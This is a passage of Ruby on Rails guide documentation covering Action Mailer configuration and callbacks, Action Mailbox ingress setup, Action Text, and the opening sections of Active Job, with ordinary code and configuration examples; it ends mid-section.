  <%= url_for(host: 'example.com',
            controller: 'welcome',
            action: 'greeting') %>

2.7.2 Generating URLs with Named Routes

Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, you should always use the *_url variant of named route helpers.

If you did not configure the :host option globally make sure to pass it to the URL helper.

  <%= user_url(@user, host: 'example.com') %>

non-GET links require rails-ujs or jQuery UJS, and won't work in mailer templates. They will result in normal GET requests.

2.8 Adding Images in Action Mailer Views

Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the :asset_host parameter yourself.

As the :asset_host usually is consistent across the application you can configure it globally in config/application.rb:

  config.asset_host = 'http://example.com'

Now you can display an image inside your email.

  <%= image_tag 'image.jpg' %>

2.9 Sending Multipart Emails

Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have welcome_email.text.erb and welcome_email.html.erb in app/views/user_mailer, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts.

The order of the parts getting inserted is determined by the :parts_order inside of the ActionMailer::Base.default method.

2.10 Sending Emails with Dynamic Delivery Options

If you wish to override the default delivery options (e.g. SMTP credentials) while delivering emails, you can do this using delivery_method_options in the mailer action.

  class UserMailer < ApplicationMailer
  def welcome_email
    @user = params[:user]
    @url  = user_url(@user)
    delivery_options = { user_name: params[:company].smtp_user,
                         password: params[:company].smtp_password,
                         address: params[:company].smtp_host }
    mail(to: @user.email,
         subject: "Please see the Terms and Conditions attached",
         delivery_method_options: delivery_options)
  end
end

2.11 Sending Emails without Template Rendering

There may be cases in which you want to skip the template rendering step and supply the email body as a string. You can achieve this using the :body option. In such cases don't forget to add the :content_type option. Rails will default to text/plain otherwise.

  class UserMailer < ApplicationMailer
  def welcome_email
    mail(to: params[:user].email,
         body: params[:email_body],
         content_type: "text/html",
         subject: "Already rendered!")
  end
end

3 Action Mailer Callbacks

Action Mailer allows for you to specify a before_action, after_action and around_action.

Filters can be specified with a block or a symbol to a method in the mailer class similar to controllers.

You could use a before_action to set instance variables, populate the mail object with defaults, or insert default headers and attachments.

  class InvitationsMailer < ApplicationMailer
  before_action :set_inviter_and_invitee
  before_action { @account = params[:inviter].account }

  default to:       -> { @invitee.email_address },
          from:     -> { common_address(@inviter) },
          reply_to: -> { @inviter.email_address_with_name }

  def account_invitation
    mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})"
  end

  def project_invitation
    @project    = params[:project]
    @summarizer = ProjectInvitationSummarizer.new(@project.bucket)

    mail subject: "#{@inviter.name.familiar} added you to a project in Basecamp (#{@account.name})"
  end

  private
    def set_inviter_and_invitee
      @inviter = params[:inviter]
      @invitee = params[:invitee]
    end
end

You could use an after_action to do similar setup as a before_action but using instance variables set in your mailer action.

Using an after_action callback also enables you to override delivery method settings by updating mail.delivery_method.settings.

  class UserMailer < ApplicationMailer
  before_action { @business, @user = params[:business], params[:user] }

  after_action :set_delivery_options,
               :prevent_delivery_to_guests,
               :set_business_headers

  def feedback_message
  end

  def campaign_message
  end

  private

    def set_delivery_options
      # You have access to the mail instance,
      # @business and @user instance variables here
      if @business && @business.has_smtp_settings?
        mail.delivery_method.settings.merge!(@business.smtp_settings)
      end
    end

    def prevent_delivery_to_guests
      if @user && @user.guest?
        mail.perform_deliveries = false
      end
    end

    def set_business_headers
      if @business
        headers["X-SMTPAPI-CATEGORY"] = @business.code
      end
    end
end

Mailer Filters abort further processing if body is set to a non-nil value.

4 Using Action Mailer Helpers

Action Mailer inherits from AbstractController, so you have access to most of the same helpers as you do in Action Controller.

There are also some Action Mailer-specific helper methods available in ActionMailer::MailHelper. For example, these allow accessing the mailer instance from your view with mailer, and accessing the message as message:

  <%= stylesheet_link_tag mailer.name.underscore %>
<h1><%= message.subject %></h1>

5 Action Mailer Configuration

The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)

Configuration
Description

logger
Generates information on the mailing run if available. Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.

smtp_settings
Allows detailed configuration for :smtp delivery method:

:address - Allows you to use a remote mail server. Just change it from its default "localhost" setting.

:port - On the off chance that your mail server doesn't run on port 25, you can change it.

:domain - If you need to specify a HELO domain, you can do it here.

:user_name - If your mail server requires authentication, set the username in this setting.

:password - If your mail server requires authentication, set the password in this setting.

:authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain (will send the password in the clear), :login (will send password Base64 encoded) or :cram_md5 (combines a Challenge/Response mechanism to exchange information and a cryptographic Message Digest 5 algorithm to hash important information)

:enable_starttls - Use STARTTLS when connecting to your SMTP server and fail if unsupported. Defaults to false.

:enable_starttls_auto - Detects if STARTTLS is enabled in your SMTP server and starts to use it. Defaults to true.

:openssl_verify_mode - When using TLS, you can set how OpenSSL checks the certificate. This is really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name of an OpenSSL verify constant ('none' or 'peer') or directly the constant (OpenSSL::SSL::VERIFY_NONE or OpenSSL::SSL::VERIFY_PEER).

:ssl/:tls - Enables the SMTP connection to use SMTP/TLS (SMTPS: SMTP over direct TLS connection)

:open_timeout - Number of seconds to wait while attempting to open a connection.

:read_timeout - Number of seconds to wait until timing-out a read(2) call.

sendmail_settings
Allows you to override options for the :sendmail delivery method.

:location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail.

:arguments - The command line arguments to be passed to sendmail. Defaults to -i.

raise_delivery_errors
Whether or not errors should be raised if the email fails to be delivered. This only works if the external email server is configured for immediate delivery.

delivery_method
Defines a delivery method. Possible values are:

:smtp (default), can be configured by using config.action_mailer.smtp_settings.

:sendmail, can be configured by using config.action_mailer.sendmail_settings.

:file: save emails to files; can be configured by using config.action_mailer.file_settings.

:test: save emails to ActionMailer::Base.deliveries array.

See API docs for more info.

perform_deliveries
Determines whether deliveries are actually carried out when the deliver method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing. If this value is false, deliveries array will not be populated even if delivery_method is :test.

deliveries
Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.

delivery_job
The job class used with deliver_later. Defaults to ActionMailer::MailDeliveryJob.

deliver_later_queue_name
The name of the queue used with deliver_later.

default_options
Allows you to set default values for the mail method options (:from, :reply_to, etc.).

For a complete writeup of possible configurations see the Configuring Action Mailer in our Configuring Rails Applications guide.

5.1 Example Action Mailer Configuration

An example would be adding the following to your appropriate config/environments/$RAILS_ENV.rb file:

  config.action_mailer.delivery_method = :sendmail
# Defaults to:
# config.action_mailer.sendmail_settings = {
#   location: '/usr/sbin/sendmail',
#   arguments: '-i'
# }
config.action_mailer.perform_deliveries = true
config.action_mailer.raise_delivery_errors = true
config.action_mailer.default_options = {from: 'no-reply@example.com'}

5.2 Action Mailer Configuration for Gmail

Action Mailer uses the Mail gem and accepts similar configuration. Add this to your config/environments/$RAILS_ENV.rb file to send via Gmail:

  config.action_mailer.delivery_method = :smtp
config.action_mailer.smtp_settings = {
  address:              'smtp.gmail.com',
  port:                 587,
  domain:               'example.com',
  user_name:            '<username>',
  password:             '<password>',
  authentication:       'plain',
  enable_starttls_auto: true,
  open_timeout:         5,
  read_timeout:         5 }

On July 15, 2014, Google increased its security measures to block attempts from apps it deems less secure. You can change your Gmail settings here to allow the attempts. If your Gmail account has 2-factor authentication enabled, then you will need to set an app password and use that instead of your regular password.

6 Mailer Testing

You can find detailed instructions on how to test your mailers in the testing guide.

7 Intercepting and Observing Emails

Action Mailer provides hooks into the Mail observer and interceptor methods. These allow you to register classes that are called during the mail delivery life cycle of every email sent.

7.1 Intercepting Emails

Interceptors allow you to make modifications to emails before they are handed off to the delivery agents. An interceptor class must implement the ::delivering_email(message) method which will be called before the email is sent.

  class SandboxEmailInterceptor
  def self.delivering_email(message)
    message.to = ['sandbox@example.com']
  end
end

Before the interceptor can do its job you need to register it using the interceptors config option. You can do this in an initializer file like config/initializers/mail_interceptors.rb:

  Rails.application.configure do
  if Rails.env.staging?
    config.action_mailer.interceptors = %w[SandboxEmailInterceptor]
  end
end

The example above uses a custom environment called "staging" for a production-like server but for testing purposes. You can read Creating Rails Environments for more information about custom Rails environments.

7.2 Observing Emails

Observers give you access to the email message after it has been sent. An observer class must implement the :delivered_email(message) method, which will be called after the email is sent.

  class EmailDeliveryObserver
  def self.delivered_email(message)
    EmailDelivery.log(message)
  end
end

Similar to interceptors, you must register observers using the observers config option. You can do this in an initializer file like config/initializers/mail_observers.rb:

  Rails.application.configure do
  config.action_mailer.observers = %w[EmailDeliveryObserver]
end

Action Mailbox Basics

This guide provides you with all you need to get started in receiving emails to your application.

After reading this guide, you will know:

How to receive email within a Rails application.

How to configure Action Mailbox.

How to generate and route emails to a mailbox.

How to test incoming emails.

Chapters

What is Action Mailbox?

Setup

Configuration

Exim

Mailgun

Mandrill

Postfix

Postmark

Qmail

SendGrid

Examples

Incineration of InboundEmails

Working with Action Mailbox in Development

Testing Mailboxes

1 What is Action Mailbox?

Action Mailbox routes incoming emails to controller-like mailboxes for processing in Rails. It ships with ingresses for Mailgun, Mandrill, Postmark, and SendGrid. You can also handle inbound mails directly via the built-in Exim, Postfix, and Qmail ingresses.

The inbound emails are turned into InboundEmail records using Active Record and feature lifecycle tracking, storage of the original email on cloud storage via Active Storage, and responsible data handling with on-by-default incineration.

These inbound emails are routed asynchronously using Active Job to one or several dedicated mailboxes, which are capable of interacting directly with the rest of your domain model.

2 Setup

Install migrations needed for InboundEmail and ensure Active Storage is set up:

  $ bin/rails action_mailbox:install
$ bin/rails db:migrate

3 Configuration

3.1 Exim

Tell Action Mailbox to accept emails from an SMTP relay:

  # config/environments/production.rb
config.action_mailbox.ingress = :relay

Generate a strong password that Action Mailbox can use to authenticate requests to the relay ingress.

Use bin/rails credentials:edit to add the password to your application's encrypted credentials under action_mailbox.ingress_password, where Action Mailbox will automatically find it:

  action_mailbox:
  ingress_password: ...

Alternatively, provide the password in the RAILS_INBOUND_EMAIL_PASSWORD environment variable.

Configure Exim to pipe inbound emails to bin/rails action_mailbox:ingress:exim, providing the URL of the relay ingress and the INGRESS_PASSWORD you previously generated. If your application lived at https://example.com, the full command would look like this:

  $ bin/rails action_mailbox:ingress:exim URL=https://example.com/rails/action_mailbox/relay/inbound_emails INGRESS_PASSWORD=...

3.2 Mailgun

Give Action Mailbox your Mailgun Signing key (which you can find under Settings -> Security & Users -> API security in Mailgun), so it can authenticate requests to the Mailgun ingress.

Use bin/rails credentials:edit to add your Signing key to your application's encrypted credentials under action_mailbox.mailgun_signing_key, where Action Mailbox will automatically find it:

  action_mailbox:
  mailgun_signing_key: ...

Alternatively, provide your Signing key in the MAILGUN_INGRESS_SIGNING_KEY environment variable.

Tell Action Mailbox to accept emails from Mailgun:

  # config/environments/production.rb
config.action_mailbox.ingress = :mailgun

Configure Mailgun to forward inbound emails to /rails/action_mailbox/mailgun/inbound_emails/mime. If your application lived at https://example.com, you would specify the fully-qualified URL https://example.com/rails/action_mailbox/mailgun/inbound_emails/mime.

3.3 Mandrill

Give Action Mailbox your Mandrill API key, so it can authenticate requests to the Mandrill ingress.

Use bin/rails credentials:edit to add your API key to your application's encrypted credentials under action_mailbox.mandrill_api_key, where Action Mailbox will automatically find it:

  action_mailbox:
  mandrill_api_key: ...

Alternatively, provide your API key in the MANDRILL_INGRESS_API_KEY environment variable.

Tell Action Mailbox to accept emails from Mandrill:

  # config/environments/production.rb
config.action_mailbox.ingress = :mandrill

Configure Mandrill to route inbound emails to /rails/action_mailbox/mandrill/inbound_emails. If your application lived at https://example.com, you would specify the fully-qualified URL https://example.com/rails/action_mailbox/mandrill/inbound_emails.

3.4 Postfix

Tell Action Mailbox to accept emails from an SMTP relay:

  # config/environments/production.rb
config.action_mailbox.ingress = :relay

Generate a strong password that Action Mailbox can use to authenticate requests to the relay ingress.

Use bin/rails credentials:edit to add the password to your application's encrypted credentials under action_mailbox.ingress_password, where Action Mailbox will automatically find it:

  action_mailbox:
  ingress_password: ...

Alternatively, provide the password in the RAILS_INBOUND_EMAIL_PASSWORD environment variable.

Configure Postfix to pipe inbound emails to bin/rails action_mailbox:ingress:postfix, providing the URL of the Postfix ingress and the INGRESS_PASSWORD you previously generated. If your application lived at https://example.com, the full command would look like this:

  $ bin/rails action_mailbox:ingress:postfix URL=https://example.com/rails/action_mailbox/relay/inbound_emails INGRESS_PASSWORD=...

3.5 Postmark

Tell Action Mailbox to accept emails from Postmark:

  # config/environments/production.rb
config.action_mailbox.ingress = :postmark

Generate a strong password that Action Mailbox can use to authenticate requests to the Postmark ingress.

Use bin/rails credentials:edit to add the password to your application's encrypted credentials under action_mailbox.ingress_password, where Action Mailbox will automatically find it:

  action_mailbox:
  ingress_password: ...

Alternatively, provide the password in the RAILS_INBOUND_EMAIL_PASSWORD environment variable.

Configure Postmark inbound webhook to forward inbound emails to /rails/action_mailbox/postmark/inbound_emails with the username actionmailbox and the password you previously generated. If your application lived at https://example.com, you would configure Postmark with the following fully-qualified URL:

  https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/postmark/inbound_emails

When configuring your Postmark inbound webhook, be sure to check the box labeled "Include raw email content in JSON payload". Action Mailbox needs the raw email content to work.

3.6 Qmail

Tell Action Mailbox to accept emails from an SMTP relay:

  # config/environments/production.rb
config.action_mailbox.ingress = :relay

Generate a strong password that Action Mailbox can use to authenticate requests to the relay ingress.

Use bin/rails credentials:edit to add the password to your application's encrypted credentials under action_mailbox.ingress_password, where Action Mailbox will automatically find it:

  action_mailbox:
  ingress_password: ...

Alternatively, provide the password in the RAILS_INBOUND_EMAIL_PASSWORD environment variable.

Configure Qmail to pipe inbound emails to bin/rails action_mailbox:ingress:qmail, providing the URL of the relay ingress and the INGRESS_PASSWORD you previously generated. If your application lived at https://example.com, the full command would look like this:

  $ bin/rails action_mailbox:ingress:qmail URL=https://example.com/rails/action_mailbox/relay/inbound_emails INGRESS_PASSWORD=...

3.7 SendGrid

Tell Action Mailbox to accept emails from SendGrid:

  # config/environments/production.rb
config.action_mailbox.ingress = :sendgrid

Generate a strong password that Action Mailbox can use to authenticate requests to the SendGrid ingress.

Use bin/rails credentials:edit to add the password to your application's encrypted credentials under action_mailbox.ingress_password, where Action Mailbox will automatically find it:

  action_mailbox:
  ingress_password: ...

Alternatively, provide the password in the RAILS_INBOUND_EMAIL_PASSWORD environment variable.

Configure SendGrid Inbound Parse to forward inbound emails to /rails/action_mailbox/sendgrid/inbound_emails with the username actionmailbox and the password you previously generated. If your application lived at https://example.com, you would configure SendGrid with the following URL:

  https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/sendgrid/inbound_emails

When configuring your SendGrid Inbound Parse webhook, be sure to check the box labeled “Post the raw, full MIME message.” Action Mailbox needs the raw MIME message to work.

4 Examples

Configure basic routing:

  # app/mailboxes/application_mailbox.rb
class ApplicationMailbox < ActionMailbox::Base
  routing /^save@/i     => :forwards
  routing /@replies\./i => :replies
end

Then set up a mailbox:

  # Generate new mailbox
$ bin/rails generate mailbox forwards

  # app/mailboxes/forwards_mailbox.rb
class ForwardsMailbox < ApplicationMailbox
  # Callbacks specify prerequisites to processing
  before_processing :require_projects

  def process
    # Record the forward on the one project, or…
    if forwarder.projects.one?
      record_forward
    else
      # …involve a second Action Mailer to ask which project to forward into.
      request_forwarding_project
    end
  end

  private
    def require_projects
      if forwarder.projects.none?
        # Use Action Mailers to bounce incoming emails back to sender – this halts processing
        bounce_with Forwards::BounceMailer.no_projects(inbound_email, forwarder: forwarder)
      end
    end

    def record_forward
      forwarder.forwards.create subject: mail.subject, content: mail.content
    end

    def request_forwarding_project
      Forwards::RoutingMailer.choose_project(inbound_email, forwarder: forwarder).deliver_now
    end

    def forwarder
      @forwarder ||= User.find_by(email_address: mail.from)
    end
end

5 Incineration of InboundEmails

By default, an InboundEmail that has been successfully processed will be incinerated after 30 days. This ensures you're not holding on to people's data willy-nilly after they may have canceled their accounts or deleted their content. The intention is that after you've processed an email, you should have extracted all the data you needed and turned it into domain models and content on your side of the application. The InboundEmail simply stays in the system for the extra time to provide debugging and forensics options.

The actual incineration is done via the IncinerationJob that's scheduled to run after config.action_mailbox.incinerate_after time. This value is by default set to 30.days, but you can change it in your production.rb configuration. (Note that this far-future incineration scheduling relies on your job queue being able to hold jobs for that long.)

6 Working with Action Mailbox in Development

It's helpful to be able to test incoming emails in development without actually sending and receiving real emails. To accomplish this, there's a conductor controller mounted at /rails/conductor/action_mailbox/inbound_emails, which gives you an index of all the InboundEmails in the system, their state of processing, and a form to create a new InboundEmail as well.

7 Testing Mailboxes

Example:

  class ForwardsMailboxTest < ActionMailbox::TestCase
  test "directly recording a client forward for a forwarder and forwardee corresponding to one project" do
    assert_difference -> { people(:david).buckets.first.recordings.count } do
      receive_inbound_email_from_mail \
        to: 'save@example.com',
        from: people(:david).email_address,
        subject: "Fwd: Status update?",
        body: <<~BODY
          --- Begin forwarded message ---
          From: Frank Holland <frank@microsoft.com>

          What's the status?
        BODY
    end

    recording = people(:david).buckets.first.recordings.last
    assert_equal people(:david), recording.creator
    assert_equal "Status update?", recording.forward.subject
    assert_match "What's the status?", recording.forward.content.to_s
  end
end

Please refer to the ActionMailbox::TestHelper API for further test helper methods.

Action Text Overview

This guide provides you with all you need to get started in handling rich text content.

After reading this guide, you will know:

How to configure Action Text.

How to handle rich text content.

How to style rich text content and attachments.

Chapters

What is Action Text?

Trix Compared to Other Rich Text Editors

Installation

Creating Rich Text Content

Rendering Rich Text Content

Rendering attachments

Avoid N+1 Queries

API / Backend Development

1 What is Action Text?

Action Text brings rich text content and editing to Rails. It includes the Trix editor that handles everything from formatting to links to quotes to lists to embedded images and galleries. The rich text content generated by the Trix editor is saved in its own RichText model that's associated with any existing Active Record model in the application. Any embedded images (or other attachments) are automatically stored using Active Storage and associated with the included RichText model.

2 Trix Compared to Other Rich Text Editors

Most WYSIWYG editors are wrappers around HTML’s contenteditable and execCommand APIs, designed by Microsoft to support live editing of web pages in Internet Explorer 5.5, and eventually reverse-engineered and copied by other browsers.

Because these APIs were never fully specified or documented, and because WYSIWYG HTML editors are enormous in scope, each browser's implementation has its own set of bugs and quirks, and JavaScript developers are left to resolve the inconsistencies.

Trix sidesteps these inconsistencies by treating contenteditable as an I/O device: when input makes its way to the editor, Trix converts that input into an editing operation on its internal document model, then re-renders that document back into the editor. This gives Trix complete control over what happens after every keystroke, and avoids the need to use execCommand at all.

3 Installation

Run bin/rails action_text:install to add the Yarn package and copy over the necessary migration. Also, you need to set up Active Storage for embedded images and other attachments. Please refer to the Active Storage Overview guide.

Action Text uses polymorphic relationships with the action_text_rich_texts table so that it can be shared with all models that have rich text attributes. If your models with Action Text content use UUID values for identifiers, all models that use Action Text attributes will need to use UUID values for their unique identifiers. The generated migration for Action Text will also need to be updated to specify type: :uuid for the :record references line.

After the installation is complete, a Rails app should have the following changes:

Both trix and @rails/actiontext should be required in your JavaScript entrypoint.

// application.js
import "trix"
import "@rails/actiontext"

The trix stylesheet will be included together with Action Text styles in your application.css file.

4 Creating Rich Text Content

Add a rich text field to an existing model:

  # app/models/message.rb
class Message < ApplicationRecord
  has_rich_text :content
end

or add rich text field while creating a new model using:

  bin/rails generate model Message content:rich_text

Note: you don't need to add a content field to your messages table.

Then use rich_text_area to refer to this field in the form for the model:

  <%# app/views/messages/_form.html.erb %>
<%= form_with model: message do |form| %>
  <div class="field">
    <%= form.label :content %>
    <%= form.rich_text_area :content %>
  </div>
<% end %>

And finally, display the sanitized rich text on a page:

  <%= @message.content %>

To accept the rich text content, all you have to do is permit the referenced attribute:

  class MessagesController < ApplicationController
  def create
    message = Message.create! params.require(:message).permit(:title, :content)
    redirect_to message
  end
end

5 Rendering Rich Text Content

By default, Action Text will render rich text content inside an element with the .trix-content class:

  <%# app/views/layouts/action_text/contents/_content.html.erb %>
<div class="trix-content">
  <%= yield %>
</div>

Elements with this class, as well as the Action Text editor, are styled by the trix stylesheet. To provide your own styles instead, remove the = require trix line from the app/assets/stylesheets/actiontext.css stylesheet created by the installer.

To customize the HTML rendered around rich text content, edit the app/views/layouts/action_text/contents/_content.html.erb layout created by the installer.

To customize the HTML rendered for embedded images and other attachments (known as blobs), edit the app/views/active_storage/blobs/_blob.html.erb template created by the installer.

5.1 Rendering attachments

In addition to attachments uploaded through Active Storage, Action Text can embed anything that can be resolved by a Signed GlobalID.

Action Text renders embedded <action-text-attachment> elements by resolving their sgid attribute into an instance. Once resolved, that instance is passed along to render. The resulting HTML is embedded as a descendant of the <action-text-attachment> element.

For example, consider a User model:

  # app/models/user.rb
class User < ApplicationRecord
  has_one_attached :avatar
end

user = User.find(1)
user.to_global_id.to_s #=> gid://MyRailsApp/User/1
user.to_signed_global_id.to_s #=> BAh7CEkiCG…

Next, consider some rich text content that embeds an <action-text-attachment> element that references the User instance's signed GlobalID:

  <p>Hello, <action-text-attachment sgid="BAh7CEkiCG…"></action-text-attachment>.</p>

Action Text resolves uses the "BAh7CEkiCG…" String to resolve the User instance. Next, consider the application's users/user partial:

  <%# app/views/users/_user.html.erb %>
<span><%= image_tag user.avatar %> <%= user.name %></span>

The resulting HTML rendered by Action Text would look something like:

  <p>Hello, <action-text-attachment sgid="BAh7CEkiCG…"><span><img src="..."> Jane Doe</span></action-text-attachment>.</p>

To render a different partial, define User#to_attachable_partial_path:

  class User < ApplicationRecord
  def to_attachable_partial_path
    "users/attachable"
  end
end

Then declare that partial. The User instance will be available as the user partial-local variable:

  <%# app/views/users/_attachable.html.erb %>
<span><%= image_tag user.avatar %> <%= user.name %></span>

To integrate with Action Text <action-text-attachment> element rendering, a class must:

include the ActionText::Attachable module

implement #to_sgid(**options) (made available through the GlobalID::Identification concern)

(optional) declare #to_attachable_partial_path

By default, all ActiveRecord::Base descendants mix-in GlobalID::Identification concern, and are therefore ActionText::Attachable compatible.

6 Avoid N+1 Queries

If you wish to preload the dependent ActionText::RichText model, assuming your rich text field is named content, you can use the named scope:

  Message.all.with_rich_text_content # Preload the body without attachments.
Message.all.with_rich_text_content_and_embeds # Preload both body and attachments.

7 API / Backend Development

A backend API (for example, using JSON) needs a separate endpoint for uploading files that creates an ActiveStorage::Blob and returns its attachable_sgid:

{
  "attachable_sgid": "BAh7CEkiCG…"
}

Take that attachable_sgid and ask your frontend to insert it in rich text content using an <action-text-attachment> tag:

<action-text-attachment sgid="BAh7CEkiCG…"></action-text-attachment>

This is based on Basecamp, so if you still can't find what you are looking for, check this Basecamp Doc.

Active Job Basics

This guide provides you with all you need to get started in creating, enqueuing and executing background jobs.

After reading this guide, you will know:

How to create jobs.

How to enqueue jobs.

How to run jobs in the background.

How to send emails from your application asynchronously.

Chapters

What is Active Job?

The Purpose of Active Job

Creating a Job

Create the Job

Enqueue the Job

Job Execution

Backends

Setting the Backend

Starting the Backend

Queues

Callbacks

Available Callbacks

Action Mailer

Internationalization

Supported Types for Arguments

GlobalID

Serializers

Exceptions

Retrying or Discarding Failed Jobs

Deserialization

Job Testing

1 What is Active Job?

Active Job is a framework for declaring jobs and making them run on a variety of queuing backends. These jobs can be everything from regularly scheduled clean-ups, to billing charges, to mailings. Anything that can be chopped up into small units of work and run in parallel, really.

2 The Purpose of Active Job

The main point is to ensure that all Rails apps will have a job infrastructure in place. We can then have framework features and other gems build on top of that, without having to worry about API differences between various job runners such as Delayed Job and Resque. Picking your queuing backend becomes more of an operational concern, then. And you'll be able to switch between them without having to rewrite your jobs.

Rails by default comes with an asynchronous queuing implementation that runs jobs with an in-process thread pool. Jobs will run asynchronously, but any jobs in the queue will be dropped upon restart.

3 Creating a Job

This section will provide a step-by-step guide to creating a job and enqueuing it.

3.1 Create the Job

Active Job provides a Rails generator to create jobs. The following will create a job in app/jobs (with an attached test case under test/jobs):

  $ bin/rails generate job guests_cleanup
invoke  test_unit
create    test/jobs/guests_cleanup_job_test.rb
create  app/jobs/guests_cleanup_job.rb

You can also create a job that will run on a specific queue:

  $ bin/rails generate job guests_cleanup --queue urgent

If you don't want to use a generator, you could create your own file inside of app/jobs, just make sure that it inherits from ApplicationJob.

Here's what a job looks like:

  class GuestsCleanupJob < ApplicationJob
  queue_as :default

  def perform(*guests)
    # Do something later
  end
end

Note that you can define perform with as many arguments as you want.

3.2 Enqueue the Job

Enqueue a job using perform_later and, optionally, set. Like so:

  # Enqueue a job to be performed as soon as the queuing system is
# free.
GuestsCleanupJob.perform_later guest

  # Enqueue a job to be performed tomorrow at noon.
GuestsCleanupJob.set(wait_until: Date.tomorrow.noon).perform_later(guest)

  # Enqueue a job to be performed 1 week from now.
GuestsCleanupJob.set(wait: 1.week).perform_later(guest)

  # `perform_now` and `perform_later` will call `perform` under the hood so
# you can pass as many arguments as defined in the latter.
GuestsCleanupJob.perform_later(guest1, guest2, filter: 'some_filter')

That's it!

4 Job Execution

For enqueuing and executing jobs in production you need to set up a queuing backend, that is to say, you need to decide on a 3rd-party queuing library that Rails should use. Rails itself only provides an in-process queuing system, which only keeps the jobs in RAM. If the process crashes or the machine is reset, then all outstanding jobs are lost with the default async backend. This may be fine for smaller apps or non-critical jobs, but most production apps will need to pick a persistent backend.

4.1 Backends

Active Job has built-in adapters for multiple queuing backends (Sidekiq, Resque, Delayed Job, and others). To get an up-to-date list of the adapters see the API Documentation for ActiveJob::QueueAdapters.

4.2 Setting the Backend

You can easily set your queuing backend with config.active_job.queue_adapter:

  # config/application.rb
module YourApp
  class Application < Rails::Application
    # Be sure to have the adapter's gem in your Gemfile
    # and follow the adapter's specific installation
    # and deployment instructions.
    config.active_job.queue_adapter = :sidekiq
  end
end

You can also configure your backend on a per job basis:

  class GuestsCleanupJob < ApplicationJob
  self.queue_adapter = :resque
  # ...
end

# Now your job will use `resque` as its backend queue adapter, overriding what
# was configured in `config.active_job.queue_adapter`.

4.3 Starting the Backend

Since jobs run in parallel to your Rails application, most queuing libraries require that you start a library-specific queuing service (in addition to starting your Rails app) for the job processing to work. Refer to library documentation for instructions on starting your queue backend.

Here is a noncomprehensive list of documentation:

Sidekiq

Resque

Sneakers

Sucker Punch

Queue Classic

Delayed Job

Que

Good Job

5 Queues

Most of the adapters support multiple queues. With Active Job you can schedule the job to run on a specific queue using queue_as:

  class GuestsCleanupJob < ApplicationJob
  queue_as :low_priority
  # ...
end

You can prefix the queue name for all your jobs using config.active_job.queue_name_prefix in application.rb:

  # config/application.rb
module YourApp
  class Application < Rails::Application
    config.active_job.queue_name_prefix = Rails.env
  end
end

  # app/jobs/guests_cleanup_job.rb
class GuestsCleanupJob < ApplicationJob
  queue_as :low_priority
  # ...
end

# Now your job will run on queue production_low_priority on your
# production environment and on staging_low_priority
# on your staging environment

You can also configure the prefix on a per job basis.

  class GuestsCleanupJob < ApplicationJob
  queue_as :low_priority
  self.queue_name_prefix = nil
  # ...
end

# Now your job's queue won't be prefixed, overriding what
# was configured in `config.active_job.queue_name_prefix`.

The default queue name prefix delimiter is '_'. This can be changed by setting config.active_job.queue_name_delimiter in application.rb:

  # config/application.rb
module YourApp
  class Application < Rails::Application
    config.active_job.queue_name_prefix = Rails.env
    config.active_job.queue_name_delimiter = '.'
  end
end

  # app/jobs/guests_cleanup_job.rb
class GuestsCleanupJob < ApplicationJob
  queue_as :low_priority
  # ...
end

# Now your job will run on queue production.low_priority on your
# production environment and on staging.low_priority
# on your staging environment

If you want more control on what queue a job will be run you can pass a :queue option to set:

  MyJob.set(queue: :another_queue).perform_later(record)

To control the queue from the job level you can pass a block to queue_as. The block will be executed in the job context (so it can access self.arguments), and it must return the queue name:

  class ProcessVideoJob < ApplicationJob
  queue_as do
    video = self.arguments.first
    if video.owner.premium?
      :premium_videojobs
    else
      :videojobs
    end
  end

  def perform(video)
    # Do process video
  end
end

  ProcessVideoJob.perform_later(Video.last)

Make sure your queuing backend "listens" on your queue name. For some backends you need to specify the queues to listen to.

6 Callbacks

Active Job provides hooks to trigger logic during the life cycle of a job. Like other callbacks in Rails, you can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks:

  class GuestsCleanupJob < ApplicationJob
  queue_as :default

  around_perform :around_cleanup

  def perform
    # Do something later
  end

  private
    def around_cleanup
      # Do something before perform
      yield
      # Do something after perform
    end
end

The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line. For example, you could send metrics for every job enqueued:

  class ApplicationJob < ActiveJob::Base
  before_enqueue { |job| $statsd.increment "#{job.class.name.underscore}.enqueue" }
end

6.1 Available Callbacks

before_enqueue

around_enqueue

after_enqueue

before_perform

around_perform

after_perform

7 Action Mailer

One of the most common jobs in a modern web application is sending emails outside of the request-response cycle, so the user doesn't have to wait on it. Active Job is integrated with Action Mailer so you can easily send emails asynchronously:

  # If you want to send the email now use #deliver_now
UserMailer.welcome(@user).deliver_now

# If you want to send the email through Active Job use #deliver_later
UserMailer.welcome(@user).deliver_later

Using the asynchronous queue from a Rake task (for example, to send an email using .deliver_later) will generally not work because Rake will likely end, causing the in-process thread pool to be deleted, before any/all of the .deliver_later emails are processed. To avoid this problem, use .deliver_now or run a persistent queue in development.

8 Internationalization

Each job uses the I18n.locale set when the job was created. This is useful if you send emails asynchronously:

  I18n.locale = :eo

UserMailer.welcome(@user).deliver_later # Email will be localized to Esperanto.

9 Supported Types for Arguments

ActiveJob supports the following types of arguments by default:

Basic types (NilClass, String, Integer, Float, BigDecimal, TrueClass, FalseClass)

Symbol

Date

Time

DateTime

ActiveSupport::TimeWithZone

ActiveSupport::Duration

Hash (Keys should be of String or Symbol type)

ActiveSupport::HashWithIndifferentAccess

Array

Range

Module

Class

9.1 GlobalID

Active Job supports GlobalID for parameters. This makes it possible to pass live Active Record objects to your job instead of class/id pairs, which you then have to manually deserialize. Before, jobs would look like this:

  class TrashableCleanupJob < ApplicationJob
  def perform(trashable_class, trashable_id, depth)
    trashable = trashable_class.constantize.find(trashable_id)
    trashable.cleanup(depth)
  end
end

Now you can simply do:

